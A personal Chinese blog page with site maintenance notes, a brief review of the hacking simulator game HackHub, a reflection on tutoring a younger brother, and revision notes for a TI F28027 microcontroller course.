国内个人备案手续确实麻烦，光是网站取名就要耗费一番心血，毕竟个人网站常见用途不少都不能上名称，还容易连带着违反其他规则。另外则是服务器的持有稳定性，阿里有 99 计划，所以取名这块防得严格。

2026/8/10#

目前状态

正在解决

过去博客一直使用的是 Hexo 的默认设置 update_option: mtime 以控制更新时间 updated。虽然流程上看，这使得面包屑导航中的“更新于：”功能有了实质上的用处，但在 Feed 中就会发现：所有文章的更新时间都是一样的！

updated_option 控制了当 Front Matter 中没有指定 updated 时，updated 如何取值：

mtime: 使用文件的最后修改时间。这是从 Hexo 3.0.0 开始的默认行为。

date: 使用 date 作为 updated 的值。可被用于 Git 工作流之中，因为使用 Git 管理站点时，文件的最后修改日期常常会发生改变

empty: 直接删除 updated。使用这一选项可能会导致大部分主题和插件无法正常工作。

这就使得我左边栏中的“最近更新”的作用又削弱了：所有文章都必须相互肘击，选出 6 篇文章——多半并不是真“最近更新”的，比如刚才观测到的，“最近更新”栏里的文章很多都是老文章，首位文章甚至是我 2025 年的新年祝福！

因此我选择添加 updated 字段。当时可能受到某些教程影响，很不情愿手动更新 updated 字段。但是我发现 VSCode 里其实提供了插件：Track markdown updated 可以自动追踪正文内容变化并向 updated 写入更新时间

对于已有文章，我使用 Trae 帮我执行了修改任务。由于相对可用的标准只有我本地操作系统的文章修改时间，因此不少文章的更新时间可能还是离谱的，这一部分我已经手动修改了一点。

2026/8/1#

目前状态

正在解决

本博客已经实施了一系列优化措施，包括浏览性能优化、无障碍优化等。

目前图床服务由华为云 OBS 上海迁移至阿里云 OSS 香港，并对已发现的较大体积图片进行压缩、转为 WEBP 格式。

迁移过程比较粗糙，如果在文章浏览过程中发现有图片无法访问，请告知我。如你对 OSS 优化有经验，也可提出建议。

博主的主力浏览器为 Firefox Beta latest，故优先考虑对 Firefox 的支持；对于 Chromium，采用 Thorium AVX512 latest。

2025/11/20#

目前状态

已解决

本博客使用的 Zeoseven Font CDN 在经历了 Cloudflare 故障后，证书被吊销，无法访问。已切换其他可用 CDN。

2025/6/14#

目前状态

已解决 Stellar 已经稳定下来。先前的一些异常状况被证明是我低下的技术力拖累的 X-X

近期 Stellar 项目进入活跃期，XAOXUU 有时间开始继续开发这个主题了，还制定了雄心勃勃的 2.0 计划 😄

与之同时，近期本站的渲染可能出现 Bugs，因为本站的主题是尽量跟着最新 PR 走的（很抱歉博主有新版焦虑 :( ）

请谅解

2025/6/13#

目前状态

无法解决，除非本站进行国内备案。

本站切换托管为 Vercel，并使用华为云 DNS。

中国大陆境内可能无法直接访问。

关于访问可达性的说明

据《计算机信息网络国际联网安全保护管理办法》相关规定，各网站/App 在工信部进行 ICP 备案成功后，或网站/App 部署在非中国内地的服务器上但是为中国内地提供服务，则需在网站/App 开通之日起 30 日内登录全国互联网安全管理服务平台提交公安联网备案申请。本站尚未进行公安备案，无法为中国内地提供服务。

2025/4/27#

目前状态

已解决 - 2025/4/28 不知道怎么给博客授权 GitHub API…… XAOXUU（Stellar 作者）的博客好像也没有解决这个问题 (2025/4/28) 转向 Memos，但由于 Memos 经常变动，Stellar 提供的 Memos 接入教程已经不再可用，维护者也在 [feat] support memos Version management 中吐槽了这一点 (2025/4/28) 只需要使用最新的 Memos 的 API 链接标准即可，Stellar 可以准确识别需要的数据。链接示例：https://memos.example.com/api/v1/memos?creatorId=1&limit=10

“近期动态”无法加载。GitHub API 在未授权情况下具有严格的访问频率限制。可能拿 GitHub 作为说说数据库不是一个好主意吧……之后看看其他博主有没有白嫖数据库自托管 memos 的。

2025/3/9#

目前状态

已解决 - 2025/3/9 换新域名忘记给 API 更新白名单了…… 如果仍未显示，请自查是否有隐私相关插件拦截了定位 API。

“抓到你了”组件不显示任何信息。

2025/3/7#

目前状态

已解决 - 2025/3/8 CDN 已恢复正常服务

本博客使用的公共字体 CDN 服务遭到 DDoS 攻击。字体资源加载速度缓慢，极大影响博客浏览体验。查看该 CDN 状态：ZeoSeven 服务状态

又一个黑客模拟游戏

Tue, 04 Aug 2026 11:19:57 GMT

新发正式版的 Hacker 模拟游戏：HackHub - Ultimate Hacker Simulator，属于渗透/红队领域

正如制作组所说的“A hacking game that actually feels real”¹，此游戏的一个优势在于制作组确实构建了一个真实向的终端环境——简化的 KDE 桌面、Firefox、Discord、apt-get、bash 等，还有 Gmail、Twitter（小蓝鸟复活）、GitHub，并引入了一些真实存在的 CLI 工具。至少这个游戏没有追求炫酷但何意味的“过场动画式”工具，而选择融入实际的命令行。

Hackhub游戏界面

不过，既然是游戏，那么就存在“不是那么现实”的情况。比如前期游戏就虚构了一个信息搜集工具，堪称“一键开盒”，但是很多理应存在的信息却显示 No data，只输出任务直接相关的信息。以及有些任务也是出于“游戏性”考虑的。

我玩的是学习版，还没有玩多少内容……原价￥48，一般打八折。我不会花这个钱的，不如真的去装个 Linux 虚拟机，真的去安装并使用那些实际存在的工具。这种游戏还是属于激发兴趣、简要入门以及安全的 Playground

看了一下创意工坊（对，支持MOD），现在社区都做出了暗网、媒体播放器、NES模拟器、密码管理器、加密货币以及 python-is-python3 🤣，那么什么时候进化到支持引入 AI 呢？

封面来自制作组 Hotbunny Interactive

Footnotes#

Hackhub | Hotbunny Interactive ↩

家庭辅导一晚，有点感想

Fri, 31 Jul 2026 21:06:44 GMT

今天帮三升四的弟弟（对，我俩差了 12 岁，正好两个都属 🐔）辅导了一下课业，几个感想：

“知识的诅咒”发力了，应用题我一开始想着列个方程，但是根据课标教材，三年级的数学工具不支持；后面想到分数乘法，结果三年级也没有直接的说明；最后用“几份几份”将这些问题转化为整数的四则运算。（之后翻了三年级上册课本才发现此时的数学工具也是这样做的）
也许是习题集的问题吧，整数列式计算中间出了一两道小数除法，三年级教材也没有说明。但是从整数转到小数除法，采用知其然的说法（被除数小数点点哪，商的小数点就点哪）也不难。当然我小学时也有这个问题，老师没讲就说不知道（
答题卷面很糟糕，数学符号和汉字写得都比较乱。我在幼小阶段是很痛恨练字的，但是如果卷面呈现出来是这个样子的话我认为还是有必要练一练整齐度的，实在不行出个“昏招”：课堂开小差就琢磨着数字的 N 种写法（
不理解上下文，上一行公式的结果到下一行就忘了。可能是我们在旁边指导吧，他开始“大脑外置”。“12 个人分成 3 份，1 份 4 个人，三分之一，三份取一份，女生一份，请问女生几个人？”结果先回答 8 人（男生）然后回答 1 份。这还是三年级上册课本的例题！
至少令我欣慰的一点是，当我不去指导应用题时，他会去翻我讲过的题目作为参考，虽然那些题目的格式相似，但至少有点“举一反三”的意味在了。
英语，粗劣的手写体不怪他，但是听写单词能不能别像搜索一样，写错回退换一个字母试试？！虽然以我的教育体验来讲，小学英语的差距可以在初中弥补，但我现在又不确定了。

“现阶段我国还有少部分地区师资欠缺、开课不足，一些孩子的英语基础相对薄弱，为此我们在七年级上册设计并调整了第一单元作为预备学习单元，供你们选用。”——义务教育教科书《英语》科学普及出版社 2011 年课标版本。在 2022 年课标版本里，预备学习单元的内容被压缩。

“当教育制度开始改革，往往又是一次代际更替，而前人则带着旧体制的烙印进入社会”。十二年，已经过了“十年树木”的阶段，而现在的基础教育实践已经和我所经历过的有了差距。随着“素质教育”和“减负”的提出，一部分的学习任务从学校转移到家庭，而很显然，我们貌似没能适应这种变化。

家里人给他买了某知名教培品牌的学习平板，比我小学时期的步步高不知道高级多少。它也内置了很多表面亮丽的学习游戏，但看来没有起到激发学习兴趣的作用。这类游戏完全比不过娱乐视频，只能是面对更加无趣的一般学习模块时的备选：事实如此，当要求学单词时，他打开的是闯关游戏，而不是一般的单词模块（类似百词斩、不背单词这种）

而对于一般平板呢？他之前还用着 2020 年买的华为平板，满是各种钓鱼小游戏。屏幕摔过不知多少次，甚至露出了内部的背光模块和电子元件。最后被我妈一怒之下格式化了。

现在，就在我旁边，他拿着学习平板，观看着视频资源——吐槽恶搞学校生活的动画，本质上和我以前看过的《茶啊二中》相似。不知是平板一开始就开放的，还是由于我父亲的宽松管控而开放的。再想到我装个“欧路词典”都要家长授权、单词学习界面滥用思源黑体（这种字体应该选择手写风格的，比如 ABeeZee），只能说依旧草班台子。

小时候我也想过：要当一个“好”家长。但现在来看，我也开始重演上一辈的“打击教育”；我也是个脾气不好、缺乏耐心的人啊。

福州大学单片机原理与应用（跨学科）复习

Mon, 22 Jun 2026 00:26:21 GMT

最终成绩：87 分考试说明：闭卷形式，选择题+程序填空题+计算题+简答题

CH1 嵌入式系统概述#

1、嵌入式系统的定义#

以应用为中心，以计算机技术为基础，软硬件可裁剪，适应应用系统对功能、可靠性、安全性、成本、体积、重量、功耗、环境等方面有严格要求的专用计算机系统。

2、嵌入式系统和通用计算机系统的比较（共同点和不同点）、嵌入式系统的特点#

共同点：都属于计算机系统，由硬件和软件组成；工作原理相同，都属存储程序机制；从硬件上看，嵌入式系统和通用计算机系统都是由CPU、存储器、I/O接口和中断系统等部件组成；从软件上看，嵌入式系统软件和通用计算机软件都可以划分为系统软件和应用软件两类。

不同点：形态，功能，资源，价值，功耗，开发方式。

特点：专用性强、可裁剪性、实时性好、可靠性高、生命周期长、不易被垄断

3、嵌入式系统的架构：冯･诺依曼结构和哈佛结构#

冯･诺依曼结构：采用二进制逻辑、程序存储执行以及计算机由五个部分组成（运算器、控制器、存储器、输入设备、输出设备）

哈佛结构（存储器结构）：程序存储器和数据存储器是两个独立的存储器，每个存储器独立编址、独立访问。

4、嵌入式系统处理器：MPU、MCU、DSP、SoC#

分别为微处理器 (MPU)、微控制器（MCU，俗称单片机）、数字信号处理器 (DSP) 和嵌入式片上系统（System on Chip ，简称SoC）

MCU 的特点是集成度高、控制能力强、可靠性强、低功耗、性价比高、系统设计周期短。最大特点是单片化，体积大大减小，从而使功耗和成本下降，可靠性提高。

5、MCU的基本组成：CPU、时钟、存储器、通用I/O、定时器/计数器、外设等#

单片机的CPU由运算器和控制器组成，有运算和控制的功能。单片机的指令代码就是通过CPU执行的。

时钟时钟本质上就是固定频率的脉冲信号，为MCU工作提供基准时序。时钟频率直接决定了MCU的执行速度。

单片机的存储器包括存放代码指令的ROM（或 Flash），以及存放变量、数据的SRAM。

通用I/O口 (GPIO) 可以当作输入或输出接口。大部分单片机为了减少引脚数量，I/O口还复用作为其它特殊功能引脚，比如PWM输出、捕获输入、串行通信、外部中断输入等。

定时器/计数器能够提供精确定时，或者对外部事件进行计数。内部硬件本质是计数器，当计数器脉冲来源是固定频率脉冲时，可通过计数来实现计时。

MCU 常用的外设模块有：模数转换模块 (ADC)、PWM模块、捕获模块 (CAP)、通信模块等等。不同芯片有不同的外设配置

6、CPU功能#

CPU有运算和控制的功能。单片机另外增设了“面向控制”的处理功能，如位处理、查表、跳转、乘除法运算、状态检测、中断处理等，增强了实用性。

7、总线BUS：地址总线、数据总线、控制总线#

总线是一组相关逻辑信号的集合。不同芯片有不同的总线标准。

地址总线 (Address Bus, AB)：单向，用于传递地址信息。地址线的数目决定了可寻址的存储空间。一根地址线有两种状态，即可以区分两个不同的存储单元，或者说可以寻址两个存储单元；如果有 nnn 根地址线，则可以寻址 2n2n2n 个存储单元。

数据总线 (Data Bus, DB)：一般为双向，用于CPU与存储器、CPU与外设、或外设与外设之间传送数据信息。我们平常说的8位、16位或32位单片机，指的就是CPU一次能够处理的数据位数，这也决定了单片机数据总线的根数（宽度）。

控制总线 (Control Bus, CB)：是单片机系统中所有控制信号线的总称，用来传递控制信息。

CH2 C2000 系列微控制器及硬件平台#

1、F28027主要资源#

32位CPU、时钟（40MHz/50MHz/60MHz）、哈佛总线架构、3.3V单电源供电、外设资源（GPIO、中断PIE、CPU定时器、ePWM、eCAP、ADC、SCI、SPI、I2C）

2、引脚。功能复用、引脚有效符号等#

F28027的引脚按其功能进行分类，可以分为JTAG接口、Flash、时钟信号、复位引脚、ADC模拟输入信号、CPU和I/O电源引脚、电压调节控制引脚、GPIO和外设信号。

3、MCU硬件功能概述#

F28027有一个32位的CPU内核（TMS320C28x），主频高达60MHz，同时它具有GPIO、模数转换器ADC、增强型PWM模块、增强型捕获模块、串口通信接口、串行外设接口等外设。功能丰富强大，用户可以方便地用它来开发高性能的微控制系统。片内集成了Flash存储器，程序可以直接烧写到Flash中，实现脱机运行。

4、内存映射（数据空间/地址空间，空间大小与地址的转换）#

M0 SARAM和M1 SARAM大小均为1K×16位，地址范围分别为0x000000 ~ 0x0003FF、0x000400 ~ 0x0007FF。当复位后，堆栈指针指向M1块的起始地址，堆栈指针向上生长。M0、M1可以映射到程序区和数据区。

0x000800 ~ 0x0001FFF 对应外设帧0，为寄存器映射空间，该空间直接通过CPU内存总线访问。

0x006000 ~ 0x0006FFF 对应外设帧1，为寄存器映射空间，该空间通过32位外设总线访问。

L0 SARAM的大小为4K×16位，即可以映射到程序区，也可以映射到数据区。L0 SRAM地址为双映射，可以映射到0x008000 ~ 0x008FFF，也可以映射到0x03F8000 ~ 0x3F8FFF。

用户OTP区的大小为1K×16位，地址范围为 0x3D7800 ~ 0x3D7BFF，即可以映射到程序区，也可以映射到数据区。

0x3D7C80 ~ 0x3D7CBF 为内部振荡器和ADC模块的校正数据空间。由厂家进行编程，用户不可编程。

0x3D7CC0 ~ 0x3D7CDF 该存储空间保存MCU工作模式引导程序。在MCU初始化引导时调用引导程序进入相应模式。

0x3D7E80 ~ 0x3D7EAF 预留给TMX/TMP系列芯片使用。

0x3D7FFF 保存设备相关信息，对于TI 28027PT读取值为0x00CF。

0x3F0000 ~ 0x3F7FF7 闪存分为四个扇区，每个扇区8K×16，分别是扇区D、扇区C、扇区B、扇区A。如果使用代码安全模式，Flash空间 0x3F7F80 - 0x3F7FF5不能用来保存程序代码或数据，必须将这些区域编程为0。如果不使用代码安全模式，可以用来保存程序或数据，但是 0x3F7FF0 ~ 0x3F7FF5 s只能用于保存数据，不能用于保存程序代码。

0x3F7FF8 ~ 0x3F7FFF 128位密码区。密钥由用户编程时写入闪存。

0x3FE000 ~ 0x3FFFFF BOOT ROM用于保存TI的引导装载程序和IQ数学表，在芯片出厂时已经编程好。包含IQ数学表、IQ数学函数、Bootloader函数、Flash应用程序接口库、ROM版本和ROM校验和、复位向量和CPU向量表几个部分。

0x3FE000 ~ 0x3FFFFF F28027的CPU向量表。在CPU向量表中，唯一可以直接使用的是位于0x3FFFC0的复位向量，复位向量保存着 InitBoot 函数的入口地址。

5、时钟信号SYSCLKOUT#

由锁相环模块输出。为了达到节能目的，TI对时钟提供一种管理机制，每个外设模块都可以对时钟输入进行使能或禁止（CLK ENABLE），只对需要工作的模块提供时钟信号，不工作的模块不提供时钟信号。系统时钟可以再次被处理，生成低速时钟信号LSPCLK，用于低速外设模块，如SCI模块和SPI模块。

F28027提供了四种时钟来源。包括：1、提供外接晶振的接口来实现内部振荡电路的工作；2、直接用外接时钟信号XCLKIN；3、内部振荡器Internal OSC1；4、内部振荡器Internal OSC2。内部振荡器的工作频率是10MHz，单片机上电复位后默认的时钟来源是Internal OSC1。

6、看门狗电路（本质是定时器，“喂狗”：0x55AA）#

F28027提供了看门狗模块。该模块本质上是一个计数器，在计数器溢出时，它会产生一个复位信号，来复位CPU或者产生看门狗中断。为了不让它产生复位信号，那就需要在计数器溢出前对它清零，俗称“喂狗”。

时钟源OSCCLK经过512分频后再进行可编程的预分频 (Watchdog Prescaler)，输出脉冲作为看门狗计数器（Watchdog Counter）的计数脉冲。Watchdog 55+AA Key Detector 是看门狗的“喂狗”操作。“喂狗”时，需要先写入数据“55”给寄存器WDKEY，接着写入“AA”给寄存器WDKEY，硬件就会发出有效的信号 Good Key，用于复位看门狗计数器。

当程序运行出现问题，比如“死机”或进入“死循环”，那么设定的“喂狗”程序将无法执行，看门狗计数器将溢出并发出触发信号，通过 Generate Output Pulse 模块输出512个时钟周期的低电平信号。

7、片内上电复位/欠电压复位#

上电复位电路（POR）的目的是在整个上电过程，对器件产生一个有效的复位信号。器件上电过程结束后，欠压复位电路（BOR）对VDDIO进行监测，如果使能片内电压稳压器，还对VDD进行监测。POR的电压保护点比BOR低。当电压低于相应的保护点时，复位电路把XRS拉至低电平引起复位过程。

CH3 微控制器程序设计基础#

1、编程语言#

机器语言就是用二进制代码表示的计算机能直接识别和执行的一种机器指令集合，每一条机器指令在计算机内部都有相应的电路来完成它，是唯一的计算机能够直接识别和执行的语言。CPU的所有指令集构成该计算机的指令系统。

汇编语言是面向机器的程序设计语言。由汇编语言编写的程序，计算机无法直接识别，需把汇编语言翻译成机器语言，这种具有翻译功能的程序叫做汇编程序。汇编程序把汇编语言翻译成机器语言的过程称为汇编。汇编语言的指令一般都由操作码和操作数组成，操作码也被称为指令助记符。

机器语言和汇编语言都是低级语言。高级语言是一种贴合人类逻辑思维、便于直观理解的计算机语言，高级语言既接近自然语言又可以使用数学表达式，并且相对独立于计算机，可以跨计算机使用。编译的程序代码通常比用汇编语言设计的程序代码更长、执行更慢。

2、CPU执行指令5个过程：取指令、指令译码、取操作数、执行指令、结果写回#

取指令：将指令从程序存储器取出。程序计数器PC中的数值指示当前指令在程序存储器中的位置。当一条指令被取出后，PC中的数值将根据指令长度自动递增，指向下一条指令。

指令译码：指令译码器按照预定的指令格式，对取回的指令进行译码，识别出不同的指令类别以及各种获取操作数的方法。

取操作数：从存储器或者CPU寄存器中获取操作数。操作数指出了参与运算的数据或数据所在的地址，而如何得到就由芯片的寻址方式决定。C28x支持四种基本寻址方式：直接寻址方式、间接寻址方式、堆栈寻址方式、寄存器寻址方式。同时，C28x还支持一些特殊寻址方式，如数据/程序/IO空间寻址方式、程序空间间接寻址方式等。

执行指令：完成指令所规定的操作，实现指令的功能。为此，CPU的不同部分被连接起来，以执行所需的操作。

结果写回：把执行指令阶段的运行结果数据写回到存储器或CPU寄存器。

在结果数据写回之后，当条指令执行完毕。CPU从程序计数器PC中取得下一条指令地址，开始新一轮的循环。

为了提高效率，C28x采用8个独立阶段来完成以上5个过程。指令以流水线方式执行，在任何时候，最多可以执行八个指令，每个指令处于不同的完成阶段。

3、嵌入式C语言：几个特殊保留字（volatile、interrupt）#

嵌入式C语言的四大要素就是数据及其处理、程序流程控制、函数与中断服务程序以及指针。

volatile 关键字是一种类型修饰符，用它声明的类型变量表示可以被某些编译器未知的因素更改，比如：操作系统、硬件或者其它线程等。遇到这个关键字声明的变量，编译器对访问该变量的代码就不再进行优化，从而可以提供对特殊地址的稳定访问。

Example

1
volatile int i=10;
2
int a = i;
3
...
4
// 其他代码，并未明确告诉编译器，对 i 进行过操作
5
int b = i;

volatile 指出 i 是随时可能发生变化的，每次使用它的时候必须从 i 的地址中读取，因而编译器生成的汇编代码会重新从 i 的地址读取数据放在 b 中。而优化做法是，由于编译器发现两次从 i 读数据的代码之间的代码没有对 i 进行过操作，它会自动把上次读的数据放在 b 中。而不是重新从 i 里面读。这样以来，如果 i 是一个寄存器变量或者表示一个端口数据就容易出错，所以说 volatile 可以保证对特殊地址的稳定访问。

interrupt/__interrupt 为编译器扩展的保留字，用于声明中断服务函数（ISR）。ISR 函数必须定义为 void 返回类型，且没有参数。例如：__interrupt void int_handler(void)。编译器会在编译时执行特殊的操作：自动保存和恢复寄存器；生成特殊的中断返回指令 IRET。

CH4 软件架构与CCS集成开发环境#

1、如何使用结构体指针操作寄存器#

结构体指针的定义：

第一步：声明结构体类型，结构体类型名为GPIO_Obj。结构体成员包含了GPIO模块的所有寄存器，结构体成员严格按照寄存器的地址顺序排列，并保留没有用到的地址空间，
第二步：声明结构体指针类型，结构体指针类型名为GPIO_Handle。 typedef GPIO_Obj * GPIO_Handle;
第三步：定义结构体指针变量myGpio。 GPIO_Handle myGpio;
第四步：结构体指针变量初始化。 myGpio = (void*)GPIO_BASE_ADDR; //GPIO_BASE_ADDR为GPIO模块所有寄存器的首地址0x0000 6F80

接下来，以 GPADAT 寄存器为例介绍寄存器的读写操作方法。

1
myGpio->GPADAT = 5; // GPADAT寄存器值设置为5
2
data = myGpio->GPADAT; // 读取GPADAT寄存器值当前的值,保存到变量data中

2、寄存器位操作#

寄存器位操作一般都是通过逻辑“与”和逻辑“或”来实现的。在对某个位操作的同时不能影响到寄存器的其他位。例如，对GPADAT的GPIO2这个位进行写和读操作：

1
myGpio ->GPADAT &= (~((uint32_t)1 << 2)); // 待操作位清零，其他位保持不变
2
myGpio ->GPADAT |= (uint32_t)1<< 2; // GPIO2位写1
3
// myGpio ->GPADAT |= (uint32_t)0<< 2; // GPIO2位写0
4

5
Bitdata= ((myGpio -> GPADAT >> 2) & 0x0001)；// GPIO2位值保存到Bitdata变量中。

3、软件架构#

分为主程序层、应用层、用户模块层和芯片模块层。

TI公司为各系列MCU提供了丰富的固件库函数和技术支持。固件库是一个固件函数包，它由程序、数据结构和宏组成，包括MCU所有系统级和外设标准驱动函数(接口)。对于初学者而言，可以直接调用这些驱动函数，快速实现需要的应用。

用户模块层对MCU驱动函数进行封装，完成具体的功能操作。

应用层对用户函数进行封装。

主程序层主要是对MCU的初始化配置和应用层功能函数的调用，实现复杂的MCU功能。初始化部分包含系统和外设模块配置函数和初始化函数。

CH5 通用输入输出口#

1、GPIO基础知识#

GPIO是微控制器的数字输入输出模块，可以实现微控制器与外部设备的数字交换。数字输入功能主要是将外部设备的开关量信号转换成CPU可读取的数字信号“1”、“0”，从而获知外部设备的运行状态；数字输出功能则是将CPU的数字控制信号“1”、“0”转换成引脚高、低电平信号，从而实现对外部设备运行状态控制。

GPIO输出驱动器主要由多路选择器、输出控制和MOS管组成。

多路选择器根据用户配置决定该引脚是用于通用GPIO还是复用功能输出。通用输出时，该引脚的输出信号来自于GPIO输出数据寄存器。复用功能输出时，该引脚输出信号来自于片上外设，并且一个引脚输出可能来自多个不同外设。同一时刻，一个引脚只能使用一种输出功能。

根据数字电路输出电平的“强弱”，可将IO输出分为图腾柱输出（推挽输出/推拉输出）、开漏输出、下拉电阻输出3种。

图腾柱输出电路输出为强1，强0或高阻态。推挽输出既提高电路的负载能力，又提高开关速度，适用于输出0V和VDD的场合。输出强1：上管导通，下管截止，OUTPUT输出高电平；输出强0：上管截止，下管导通，OUTPUT输出低电平；高阻状态：上管截止，下管截止，无影响

开漏输出：与图腾柱方式相比，只有下管受控，上管断开或没有上管。对于与Vss相连的MOS管来说，其漏级是开路的。当内部输出“0”时，下管导通，引脚相当于接地，外部输出低电平；当内部输出“1”时，下管截止，由于上管也截止，外部输出既不是高电平，也不是低电平，而是高阻态。如果想要外部输出高电平，必须接有上拉电阻。上拉电阻输出电路为强0弱1电路。

下拉电阻输出电路为强1弱0电路。与图腾柱方式相比，只有上管受控，没有下管。

2、C2000的GPIO模块（概述、软件架构）#

F28027有22个GPIO（DIO）、6个AIO（与AD采样通道共用引脚）；GPIO 引脚分组管理，分为端口A（由GPIO0 - GPIO31组成）、端口B（由GPIO32-GPIO38组成）。

GPIO引脚与最多3种外设功能引脚共用，使用前需要先进行模式选择。

GPIO引脚可工作在上拉模式或推挽模式。

GPIO引脚的电气特性：输入时，低电平电压范围为：（Vss-0.3）V ~ 0.8V，高电平电压范围为：2V ~（VDD+0.3）V。输出时，逻辑“1”输出的电压最低为2.4V，逻辑“0”输出的电压最高为0.4V。

CPU对输入引脚的信号确认有3种方式。非同步（异步输入）方式、同步时钟方式、采样窗方式。默认情况下，所有输入引脚信号被设置为同步于系统时钟SYSCLKOUT。

采样窗方式下，输入信号首先被同步到系统时钟SYSCLKOUT，然后输入信号状态持续时间达到指定数量周期数时，输入状态才允许改变。

为了限定信号，在固定的周期进行输入信号采样。用户指定采样周期（也称采样间隔时间）是相对于系统时钟（SYSCLKOUT）而言的。

采样的次数可以选择为3次采样或者6次采样，通过寄存器GPAQSEL1、GPAQSEL2、GPBQSEL1和 GPBQSEL2来设置。当连续3次或6次信号状态一样，输入状态的改变才会被确认

采样窗口就是输入信号被确认的时间长度。为了让输入限定能够检测到输入的变化，信号电平必须在采样窗口或者更长的时间内保持稳定。GPIO引脚的输入信号经过限定器后输出信号就对小毛刺A进行了滤波。

3、软件思维导图：配置GPIO控制LED和按键#

GPIO的硬件初始化配置都需要通过GPIO的寄存器实现，包括GPIO控制寄存器（GPIO Control Registers）和GPIO中断和低功耗唤醒选择寄存器（GPIO Interrupt and Low Power Mode Select Registers）。GPIO的读写操作通过GPIO数据寄存器操作（GPIO Data Registers）。

由于引脚功能的复用性，使用前需要根据硬件系统的资源需求，统筹考虑把引脚当作GPIO或其他外设功能。优先考虑并预留外设功能的需求。

步骤1：配置引脚功能(GPIO_setMode)。步骤2：使能/禁止内部上拉电阻(GPIO_setPullUp)。步骤3：配置输入限定(GPIO_setQualification、GPIO_setQualificationPeriod)。步骤4：配置引脚方向(GPIO_setDirection)。步骤5：低功耗唤醒模式唤醒源(GPIO_lpmSelect)。步骤6：选择外部中断源（GPIO_setExtInt）。

CH6 中断系统#

1、中断基础知识（中断概念、中断处理过程、中断嵌套）#

单片机的中断系统能够加强CPU对多任务事件的处理能力。中断是CPU对系统发生的某个事件作出的一种反应。引起中断的事件称为中断源。中断源向CPU提出处理的请求称为中断请求。发生中断时被打断程序的暂停点称为断点。CPU暂停现行程序而转去响应中断请求的过程称为中断响应。中断响应的程序称为中断处理程序。CPU执行有关的中断处理程序称为中断处理。而返回断点的过程称为中断返回。中断的实现通过软件和硬件综合完成，硬件部分叫做硬件装置，软件部分称为软件处理程序。

根据来源不同，中断可分为硬件中断（Hardware Interrupt）和软件中断（Software Interrupt）；根据中断请求能否被屏蔽，中断可分为可屏蔽中断（Maskable Interrupt）和非可屏蔽中断（Non-Maskable Interrupt，NMI）

中断服务程序的入口地址称为中断向量

中断的优先级主要用来描述不同事件的重要程度。如果在执行一个中断时又被另一个更重要的事件打断，暂停该中断处理过程转而去处理这个更重要的事件，处理完毕后再继续处理本中断的过程称为中断的嵌套

程序设计人员可以通过设置相应的中断屏蔽位，禁止CPU响应某个中断，从而实现中断屏蔽。但值得注意的是，尽管某个中断源可以被屏蔽，但一旦该中断发生，不管该中断屏蔽与否，它的中断标志位都会被置位，而且只要该中断标志位不被清除，它就一直有效。

MCU的中断处理过程包括中断请求、中断响应、中断服务、中断返回四个步骤。当外设发出中断请求时，如果从外设到CPU的中断使能被允许，那么进入中断响应阶段。由于CPU执行完中断处理程序之后要返回被中断的地方继续执行原来程序，因此在执行中断服务程序之前，要把断点处地址和现场进行保护。

单一中断请求时，CPU暂停正在运行的主程序转而运行中断服务程序，中断处理完毕后运行原程序。当多个中断请求同时挂起且不允许中断嵌套时，CPU首先处理高优先级中断事件，然后再处理低优先级中断事件，最后返回执行主程序。允许中断嵌套时，大多数MCU高优先级中断可以中断低优先级中断服务程序，低优先级中断不能中断高优先级中断服务程序

2、C2000的中断系统#

中断资源包含1个非可屏蔽中断NMI和16个可屏蔽中断（INT1-INT14、RTOSINT、DLOGINT）

可屏蔽中断（INT1～INT12）采用外设中断扩展（PeripheralInterrupt Expansion，PIE）来进行协助管理，定时器1、2对应的INT13、INT14中断和NMI不经过PIE，直接与CPU相连。

PIE模块参与管理的中断有以下四类：

TINT0：定时器0中断，可屏蔽中断；
外部中断：XINT1、XINT2、XINT3；
唤醒中断：WAKEINT，包括看门狗和低功耗唤醒；
外设中断：SPI、SCI、I2C、EPWM、HRPWM、ECAP、ADC等。

PIE最多可管理96个独立中断源，这96个中断源分成12组、每组8个，分别对应CPU级12个可屏蔽中断（INT1～INT12）。96个中断源具有独立的中断向量，均存储在专用RAM中，用户可以修改这些中断向量。

3、PIE三级中断管理机制#

F28027的中断采用的是3级中断管理机制，分别是外设级、PIE级和CPU级。对于某一个具体的外设中断请求，任意一级的不许可，CPU最终都不会响应该外设中断。

外设模块产生中断事件时，相应外设模块寄存器的中断标志位IF被置位，如果对应的外设中断允许位IE被使能，则外设就向PIE发送一个中断请求。如果外设中断允许位IE未被使能，则该中断被屏蔽，不会向PIE发送中断请求。外设模块的中断标志位有的会在中断响应后自动清除，有的需要通过软件来清除。外部中断比较特殊，没有中断标志位，如果中断使能允许，外部中断请求信号直接送达PIE。

PIE控制器将每8个外设或外部中断汇集成1个CPU级中断。这样对于96个外设中断源，就被分成12组，分别是PIE1～PIE12，每一组对应一个CPU级中断，即PIE1对应INT1，PIE12对应INT12。一旦中断请求被送到PIE模块，相应的PIE中断标志位PIEIFRx.y被置位。如果对应的中断使能位PIEIERx.y=1，那么PIE模块将检查相应的PIE应答位PIEACKx，确认CPU是否准备好响应这个组的中断。如果这个组的PIE应答位PIEACKx=0，则PIE将该中断请求送至CPU。如果PIE应答位PIEACKx=1，中断请求不会被PIE发送给CPU，直到PIEACKx=0且该中断请求还存在时，PIE才会将挂起的中断请求发送给CPU。

软件清除中断应答位PIEACKx；而CPU响应PIE级中断后，自动清除相应的中断标志位PIEIFRx.y，后者不可通过软件进行清除。

当中断请求从PIE发送到CPU时，CPU级的中断标志寄存器IFRx被置位，中断应答位PIEACKx被置位，同组的其他中断请求被挂起。如果IERx=1且中断总开关INTM=0，那么CPU将响应这个中断请求并自动清零对应的IFRx标志位

CPU响应中断请求后，要去处理中断服务程序，这个中断响应过程包括现场保护（中断返回地址、相关寄存器等入栈）和中断服务子程序地址的获取。其中，中断服务子程序地址保存在MCU内存单元，这部分内存单元也称为中断向量表。

CH7 CPU定时器#

1、定时器基础知识（本质是计数器、计数方式、定时时间计算）#

定时器本质上是一个计数器，该计数器能对固定频率的脉冲进行计数，把时间的计量转化为对脉冲的计数。根据计数方向不同，有增计数、减计数、增减计数三种模式

增计数的工作模式是计数器按加1计数，也就是计数器在时钟脉冲的触发下连续加1。当计数值与预先设置的周期值PRD相等时，计数器重新从0开始计数，由于计数是从0开始的，因此实际的计数周期要多加1。

减计数的计数方式与增计数相反，计数器从某个初始值开始减1，减到0时回到初始值重新开始。

增、减计数工作模式下定时器的定时时间T为：T=Tclk×(PDR+1)T=T_{clk} × (PDR+1)T=Tclk×(PDR+1)

